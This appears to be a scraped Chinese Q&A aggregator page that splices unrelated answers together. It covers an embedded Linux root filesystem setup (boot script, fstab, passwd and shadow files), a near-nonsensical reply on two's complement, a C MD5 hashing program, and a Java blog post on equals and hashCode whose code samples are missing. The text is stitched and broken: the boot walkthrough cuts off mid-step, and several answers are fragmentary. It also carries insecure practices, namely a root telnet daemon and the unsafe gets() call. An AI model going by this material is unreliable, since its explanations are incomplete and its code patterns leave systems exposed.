runlevel=S //運行在單用戶模式
prevlevel=N //前一個級別為n表示沒有前一個級別
umask 022 //許可權位掩碼
export PATH runlevel prevlevel //將設置的變數導出到環境中
/bin/hostname CPembed //主機名,CPembed將出現在shell提示符中[root@CPembed/]#
/sbin/ifconfig lo 127.0.0.1 up //啟動lo
/sbin/ifconfig eth0 192.168.1.8 netmask 255.255.255.0 up //配置ip地址
/sbin/route add default gw 192.168.1.1 eth0 //添加默認路由
/bin/mount -a //將文件etc/fstab中指明的文件系統掛載到對應掛載點上
後面的8行是對telnetd的配置
echo /sbin/mdev>/proc/sys/kernel/hotplug //用mdev來處理內核的熱插拔事件。
當有熱插拔事件產生時,內核就會調用位於/sbin目錄的mdev。這時mdev通過環境變數中的ACTION和DEVPATH,
(這兩個變數是系統自帶的)來確定此次熱插拔事件的動作以及影響了/sys 中的那個目錄。接著會看看這個目錄中是否有「dev」的屬性文件,
如果有就利用這些信息為 這個設備在/dev 下創建設備節點文件。
mdev -s //建立dev目錄。以『-s』為參數調用位於/sbin 目錄寫的 mdev(其實是個鏈接,作用是傳遞參數給/bin目錄下的busybox 程序並調用它),mdev掃描 /sys/class 和/sys /block中所有的類設備目錄,如果在目錄中含有名為「dev」的文件,且文件中包含的是設備號,則 mdev 就利用這些信息為這個設備在/dev下創建設備節點文件。一般只在啟動時才執行一次「mdev -s」
/usr/sbin/telnetd & //後台運行telnetd
/usr/sbin/vsftpd & //後台運行vsftpd
------------------------------------------------------------------------------------------------------------------------------
(3)修改文件etc/fstab如下:
#device mount-point type option mp fsck order
proc /proc proc defaults 0 0
none /tmp ramfs defaults 0 0
sysfs /sys sysfs defaults 0 0
mdev /dev ramfs defaults 0 0
在系統啟動初始化文件/etc/init.d/rcS中有執行掛載命令/bin/mount -a ,這便是將文件etc/fstab中指定 的文件系統掛載到對應的掛載點上。這些文件系統的掛在是執行mdev -s命令建立dev目錄的前提------------------------------------------------------------------------------------------------------------------------------
(4)在啟動腳本etc/init.d/rcS執行完後將在串口s3c2410_serial0啟動一個shell。Shell啟動過程中會根據文件/etc/profile配置登陸環境。
文件/etc/profile修改如下:
USER=" 'id -un' "
LOGNAME=$USER
PS1='[\u@\h \W]# '
PATH=$PATH
HOSTNAME='/bin/hostname'
export USER LOGNAME PS1 PATH

具體說明:
USER="id -un" //獲取用戶名id-un與whoami命令有相同的功能
PS1='[\u@\h \W]# ' //PS1指定sh提示符的格式在本環境下將是[root@cyembed /]#
export USER LOGNAME PS1 PATH 將這些變數導出到環境。
(5)在用戶登錄時將在/etc下尋找三個文件passwd ,shadow, group匹配相關信息。
這三個文件修改如下:
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

/etc/group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon
ftp:x:50:
nobody:x:99:

/etc/shadow root:$6$hnswPTgxzFaZHlLl$//:14819:0:99999:7:::
bin:*:14715:0:99999:7:::
daemon:*:14715:0:99999:7:::
ftp:*:14715:0:99999:7:::
nobody:*:14715:0:99999:7:::
------------------------------------------------------------------------------------------------------------
6. 製作yaffs2根文件系統鏡像
用天嵌科技提供的yaffs2文件系統鏡像製作工具mkyaffs2image,製作根文件系統鏡像。
#./mkyaffs2image root_fs root_fs.bin

7. 將根文件系統鏡像下載到nand flash並啟動
啟動信息如下:

❽ –31/64的源碼是補碼是

還是,求整數的吧。

小數,這是要用浮點數表示的。

❾ 求32位MD5加密c語言源碼

#include<stdio.h>
#include<string.h>
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

#define RL(x, y) (((x) << (y)) | ((x) >> (32 - (y)))) //x向左循環移y位

#define PP(x) (x<<24)|((x<<8)&0xff0000)|((x>>8)&0xff00)|(x>>24) //將x高低位互換,例如PP(aabbccdd)=ddccbbaa

#define FF(a, b, c, d, x, s, ac) a = b + (RL((a + F(b,c,d) + x + ac),s))
#define GG(a, b, c, d, x, s, ac) a = b + (RL((a + G(b,c,d) + x + ac),s))
#define HH(a, b, c, d, x, s, ac) a = b + (RL((a + H(b,c,d) + x + ac),s))
#define II(a, b, c, d, x, s, ac) a = b + (RL((a + I(b,c,d) + x + ac),s))

unsigned A,B,C,D,a,b,c,d,i,len,flen[2],x[16]; //i臨時變數,len文件長,flen[2]為64位二進製表示的文件初始長度
char filename[200]; //文件名
FILE *fp;

void md5(){ //MD5核心演算法,供64輪

a=A,b=B,c=C,d=D;
/**//* Round 1 */
FF (a, b, c, d, x[ 0], 7, 0xd76aa478); /**//* 1 */
FF (d, a, b, c, x[ 1], 12, 0xe8c7b756); /**//* 2 */
FF (c, d, a, b, x[ 2], 17, 0x242070db); /**//* 3 */
FF (b, c, d, a, x[ 3], 22, 0xc1bdceee); /**//* 4 */
FF (a, b, c, d, x[ 4], 7, 0xf57c0faf); /**//* 5 */
FF (d, a, b, c, x[ 5], 12, 0x4787c62a); /**//* 6 */
FF (c, d, a, b, x[ 6], 17, 0xa8304613); /**//* 7 */
FF (b, c, d, a, x[ 7], 22, 0xfd469501); /**//* 8 */
FF (a, b, c, d, x[ 8], 7, 0x698098d8); /**//* 9 */
FF (d, a, b, c, x[ 9], 12, 0x8b44f7af); /**//* 10 */
FF (c, d, a, b, x[10], 17, 0xffff5bb1); /**//* 11 */
FF (b, c, d, a, x[11], 22, 0x895cd7be); /**//* 12 */
FF (a, b, c, d, x[12], 7, 0x6b901122); /**//* 13 */
FF (d, a, b, c, x[13], 12, 0xfd987193); /**//* 14 */
FF (c, d, a, b, x[14], 17, 0xa679438e); /**//* 15 */
FF (b, c, d, a, x[15], 22, 0x49b40821); /**//* 16 */

/**//* Round 2 */
GG (a, b, c, d, x[ 1], 5, 0xf61e2562); /**//* 17 */
GG (d, a, b, c, x[ 6], 9, 0xc040b340); /**//* 18 */
GG (c, d, a, b, x[11], 14, 0x265e5a51); /**//* 19 */
GG (b, c, d, a, x[ 0], 20, 0xe9b6c7aa); /**//* 20 */
GG (a, b, c, d, x[ 5], 5, 0xd62f105d); /**//* 21 */
GG (d, a, b, c, x[10], 9, 0x02441453); /**//* 22 */
GG (c, d, a, b, x[15], 14, 0xd8a1e681); /**//* 23 */
GG (b, c, d, a, x[ 4], 20, 0xe7d3fbc8); /**//* 24 */
GG (a, b, c, d, x[ 9], 5, 0x21e1cde6); /**//* 25 */
GG (d, a, b, c, x[14], 9, 0xc33707d6); /**//* 26 */
GG (c, d, a, b, x[ 3], 14, 0xf4d50d87); /**//* 27 */
GG (b, c, d, a, x[ 8], 20, 0x455a14ed); /**//* 28 */
GG (a, b, c, d, x[13], 5, 0xa9e3e905); /**//* 29 */
GG (d, a, b, c, x[ 2], 9, 0xfcefa3f8); /**//* 30 */
GG (c, d, a, b, x[ 7], 14, 0x676f02d9); /**//* 31 */
GG (b, c, d, a, x[12], 20, 0x8d2a4c8a); /**//* 32 */

/**//* Round 3 */
HH (a, b, c, d, x[ 5], 4, 0xfffa3942); /**//* 33 */
HH (d, a, b, c, x[ 8], 11, 0x8771f681); /**//* 34 */
HH (c, d, a, b, x[11], 16, 0x6d9d6122); /**//* 35 */
HH (b, c, d, a, x[14], 23, 0xfde5380c); /**//* 36 */
HH (a, b, c, d, x[ 1], 4, 0xa4beea44); /**//* 37 */
HH (d, a, b, c, x[ 4], 11, 0x4bdecfa9); /**//* 38 */
HH (c, d, a, b, x[ 7], 16, 0xf6bb4b60); /**//* 39 */
HH (b, c, d, a, x[10], 23, 0xbebfbc70); /**//* 40 */
HH (a, b, c, d, x[13], 4, 0x289b7ec6); /**//* 41 */
HH (d, a, b, c, x[ 0], 11, 0xeaa127fa); /**//* 42 */
HH (c, d, a, b, x[ 3], 16, 0xd4ef3085); /**//* 43 */
HH (b, c, d, a, x[ 6], 23, 0x04881d05); /**//* 44 */
HH (a, b, c, d, x[ 9], 4, 0xd9d4d039); /**//* 45 */
HH (d, a, b, c, x[12], 11, 0xe6db99e5); /**//* 46 */
HH (c, d, a, b, x[15], 16, 0x1fa27cf8); /**//* 47 */
HH (b, c, d, a, x[ 2], 23, 0xc4ac5665); /**//* 48 */

/**//* Round 4 */
II (a, b, c, d, x[ 0], 6, 0xf4292244); /**//* 49 */
II (d, a, b, c, x[ 7], 10, 0x432aff97); /**//* 50 */
II (c, d, a, b, x[14], 15, 0xab9423a7); /**//* 51 */
II (b, c, d, a, x[ 5], 21, 0xfc93a039); /**//* 52 */
II (a, b, c, d, x[12], 6, 0x655b59c3); /**//* 53 */
II (d, a, b, c, x[ 3], 10, 0x8f0ccc92); /**//* 54 */
II (c, d, a, b, x[10], 15, 0xffeff47d); /**//* 55 */
II (b, c, d, a, x[ 1], 21, 0x85845dd1); /**//* 56 */
II (a, b, c, d, x[ 8], 6, 0x6fa87e4f); /**//* 57 */
II (d, a, b, c, x[15], 10, 0xfe2ce6e0); /**//* 58 */
II (c, d, a, b, x[ 6], 15, 0xa3014314); /**//* 59 */
II (b, c, d, a, x[13], 21, 0x4e0811a1); /**//* 60 */
II (a, b, c, d, x[ 4], 6, 0xf7537e82); /**//* 61 */
II (d, a, b, c, x[11], 10, 0xbd3af235); /**//* 62 */
II (c, d, a, b, x[ 2], 15, 0x2ad7d2bb); /**//* 63 */
II (b, c, d, a, x[ 9], 21, 0xeb86d391); /**//* 64 */

A += a;
B += b;
C += c;
D += d;

}

main(){
while(1){
printf("Input file:");
gets(filename); //用get函數,避免scanf以空格分割數據,
if (filename[0]==34) filename[strlen(filename)-1]=0,strcpy(filename,filename+1); //支持文件拖曳,但會多出雙引號,這里是處理多餘的雙引號
if (!strcmp(filename,"exit")) exit(0); //輸入exit退出
if (!(fp=fopen(filename,"rb"))) {printf("Can not open this file!\n");continue;} //以二進制打開文件
fseek(fp, 0, SEEK_END); //文件指針轉到文件末尾
if((len=ftell(fp))==-1) {printf("Sorry! Can not calculate files which larger than 2 GB!\n");fclose(fp);continue;} //ftell函數返回long,最大為2GB,超出返回-1
rewind(fp); //文件指針復位到文件頭
A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476; //初始化鏈接變數
flen[1]=len/0x20000000; //flen單位是bit
flen[0]=(len%0x20000000)*8;
memset(x,0,64); //初始化x數組為0
fread(&x,4,16,fp); //以4位元組為一組,讀取16組數據
for(i=0;i<len/64;i++){ //循環運算直至文件結束
md5();
memset(x,0,64);
fread(&x,4,16,fp);
}
((char*)x)[len%64]=128; //文件結束補1,補0操作,128二進制即10000000
if(len%64>55) md5(),memset(x,0,64);
memcpy(x+14,flen,8); //文件末尾加入原文件的bit長度
md5();
fclose(fp);
printf("MD5 Code:%08x%08x%08x%08x\n",PP(A),PP(B),PP(C),PP(D)); //高低位逆反輸出
}
}

❿ Equals And HashCode 梳理

常言道:"基礎不牢,地動山搖"。萬丈高樓平地起,不管學習什麼語言,在高談闊論框架和語言應用的同時,也不能忘了語言基礎。
本文是關於Equals和HashCode關系梳理的一篇文章,會主要從定義、聯系、使用這三個方面圍繞展開。

equals()是object里的方法,話不多說,先直接上源碼:

正如注釋第一句所談到的, equals就是一個辨別兩個對象之間的"相等"關系的函數
當然這種相等關系應由子類自行定義,但注釋中指出需遵守以下性質:
性質1: reflexive,自反性 。對於任何非空引用x,x.equals(x)==true應恆成立。
性質2: symmetric,對稱性 。對於兩個非空引用x和y,x.euqals(y)==true當且僅當y.euqals(x)==true。
性質3: transitive,傳遞性。 簡單地講,x equals y , y equals z, 則x equals z成立。
性質4: consistent,一致性。 如果兩個非空對象x,y沒有發生變化,則反復調用x.euqals(y)所返回的結果應一致。
性質5:對於任何非空引用x,x.equals(null)==false成立。

了解完性質,關鍵的地方來了:

注釋中指出,重寫equals()則應重寫hashcode(),使得equals相等的對象具有相等的hashCode。

hashcode是native方法,具體生成的細節和jdk版本有關,如何生成hashcode並不是今天的主題。接下來,我們看下hashcode的部分注釋:

總的來講:
hashcode的產生是為了hashmap等使用到hashcode的散列存儲結構服務的。
hashcode有如下三個性質:
性質1 :一致性:對於同一對象,多次調用hashcode()應返回相同的Integer。
性質2 :equals相等,則hashCode必須相等。
性質3 :equals不等,hashCode不是必須不等。

了解了hashcode()以及equals()之後,肯定會發生這樣一個疑問,為什麼equals相等,hashcode必須相等?
實際上,這個問題只要搞懂hashcode()的用途,就可以很清楚的明白了。
hashcode()產生的目的就是為了hashMap等散列存儲結構提供支持。
提供什麼樣的支持?
首先要明白,散列結構存儲元素的重要過程之一是判別元素的「相同」/「不同」,這個相同與否是根據元素的hash值(為了降低hash沖突的概率,不同結構計算hash值的方式不同,但都是基於hashCode)決定的。每次put元素,則計算對應元素的hash值以及對應的坐標 ,有hash沖突則解決hash沖突,沒有就直接存放。
這樣做的好處是 ,當我要向一個散列結構存儲一個元素時,我判別是否有重復元素,只需要計算hash值一次並比較,而不是對已經存儲的每個元素依次equals(想像一個巨大的hashset,每次存放一個元素要和所有元素依次equals,這效率該多麼低下)。
所以問題來了 ,如果散列結構存儲的元素重寫了equals方法卻沒有重寫hashcode()方法,就會導致一個問題:邏輯上我們認為相同的對象(equals==true),在散列存儲結構的存儲中因為hashcode的不同,最終被判定為兩個不同的對象,從而存放了兩份。
顯然這並不是我們想要的。
下面附上一個例子,來展示下

這里創建了一個Person對象,重寫了equals方法,equals方法的邏輯是如果是同一個對象或者兩個Person對象的名字和年齡相等,則認為是「相等」的。

這里我們創建了兩個我們認為邏輯上相等的對象,使用hashset測試結果為:

顯然hashset將其認為是兩個對象,分別存儲了。
所以我們現在要做的就是重寫hashCode()方法,確保equals相等的實例hashcode()也相等。

不要小瞧equals()和hashcode()的重寫,如果不恰當的重寫,會導致一系列難以預料的結果產生。

在上面的person例子中,對equals的重寫,我參照了String的equals重寫。
大致邏輯是 判斷是否為同一個對象,如果否,判斷是否相同類型且邏輯相等。
實際上《Effective Java》這本書中提出了一個關於重寫equals的規范,可以進行參考。

對於equals的重寫, 最應該記住的是傳入的應該是object! (最好使用@Override來幫助檢查),否則就不是重寫而是重載了!

當然,在重寫完equals後最好對其進行單元測試,看其是否符合之前所講的equals方法所強調的性質 。如果你是android開發人員,簡單的junit單元測試可以參照我之前的一篇博客。 https://www.jianshu.com/p/5fea0dcc53b6

同樣的《Effective Java》這本書中提出了一個關於重寫HashCode方法的建議,可以進行參考。

我們參照上面的建議,重寫一下Person類的hashcode():

在未測試的情況下這個hashcode()的沖突處理是否合適還需考量,但邏輯上它確實保證了與equals方法的同步。
現在再進行測試,發現已經搞定。

看到《Effective Java》建議的你,一定會有些疑問,why must 31?
事實上,如果你看過String(Android jdk)的hashCode源碼,你會發現它是這樣的

它竟然也使用了31這個數字!!
所以這背後的原理是什麼呢?31又有怎樣的好處呢?
《Effective Java》里也進行了解釋:

這段話里已經講的比較明確了:
1.選擇奇數,防止溢出信息丟失。(實際這一點我還不太明白,有懂的老哥可以講講)
2.選擇素數,because its traditional。(總的來講就是和是否是素數關系不大。可以看下面的StackOverFlow鏈接,許多人認為和是否為素數沒關系,畢竟所有的素數都是奇數(除了2))
3.乘以31,可以被優化為位運算,就會比傳統的乘法快很多。

所以為什麼必須是31呢?41,51不行嗎?
https://stackoverflow.com/questions/299304/why-does-javas-hashcode-in-string-use-31-as-a-multiplier
stackOverFlow的這篇問答里有一個老哥做了測試:

也就是說,如果對超過50000個英語單詞做hash運算,並採用31,33,37,39,41等做為常數乘,結果沖突次數都在7次以內。
那麼31是最接近2冪次的數字,優化為位運算更簡潔,自然採用31。

這篇博客在草稿箱里也待了好幾天,一直耽擱著沒有發出來。今天完成了發出來真是暢快啊。

熱點內容
如何下載奧特曼高級化3安卓版 發布:2025-05-14 07:47:31 瀏覽:344
qml文件修改後編譯未生效 發布:2025-05-14 07:31:00 瀏覽:331
內到內演算法 發布:2025-05-14 07:29:11 瀏覽:34
文件夾名字不顯示 發布:2025-05-14 07:27:47 瀏覽:774
oracle的資料庫驅動jar 發布:2025-05-14 07:23:20 瀏覽:555
我的世界電腦版伺服器手機版能進嗎 發布:2025-05-14 07:22:01 瀏覽:679
達內培訓php多少錢 發布:2025-05-14 07:19:10 瀏覽:27
python位元組轉字元串 發布:2025-05-14 07:06:35 瀏覽:422
subplotpython 發布:2025-05-14 06:53:51 瀏覽:662
豎屏大屏導航工廠密碼一般是多少 發布:2025-05-14 06:49:29 瀏覽:806